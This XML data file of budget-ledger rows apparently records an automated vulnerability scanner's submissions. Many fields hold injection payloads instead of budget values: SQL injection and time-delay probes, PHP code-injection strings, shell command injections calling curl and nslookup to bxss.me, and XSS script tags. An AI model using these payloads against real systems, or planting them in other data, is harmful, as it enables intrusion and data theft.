<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'.print(md5(31337)).'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>19474695</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUyWmx7loG') OR 959=(SELECT 959 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}\</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;nslookup -q=cname hitrmjzrngjnh50579.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitrmjzrngjnh50579.bxss.me&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>$(nslookup -q=cname hittqlqbcdzaoa1631.bxss.me||curl hittqlqbcdzaoa1631.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=26</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>@@moOMi</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>@@5agH4</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>expr 9000829819 - 942404</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|echo lafugc$()\ wpxmsu\nz^xyu||a #' |echo lafugc$()\ wpxmsu\nz^xyu||a #|" |echo lafugc$()\ wpxmsu\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'.print(md5(31337)).'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>19712024</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${@print(md5(31337))}\</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>echo przltn$()\ pjbptf\nz^xyu||a #' &amp;echo przltn$()\ pjbptf\nz^xyu||a #|" &amp;echo przltn$()\ pjbptf\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${@print(md5(31337))}</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9561)&lt;/ScRiPt&gt;</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>";print(md5(31337));$a="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>19057524</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>".gethostbyname(lc("hitbl"."fbhibzfvea264.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(76).chr(114).chr(88)."</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU&amp;n900801=v950256</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*if(now()=sysdate(),sleep(15),0)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1sCBFQjEF'; waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1SDzAqvmT</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>".gethostbyname(lc("hituz"."gcnmuheod16ec.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(88).chr(100).chr(77)."</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 OR 432=(SELECT 432 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;V1xQ(9868)&lt;/ScRiPt&gt;</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'.gethostbyname(lc('hitwq'.'xaqgnksdf6bd5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(87).chr(108).chr(90).'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>gethostbyname(lc('hitod'.'livzomyh3174d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(86).chr(100).chr(72)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>".gethostbyname(lc("hitat"."dbqjtqvs07256.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(71).chr(98).chr(65)."</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'.gethostbyname(lc('hitpq'.'fgoqkddx107fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(99).chr(79).'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1) OR 885=(SELECT 885 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>19021564</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>19213686</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891 from DUAL)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
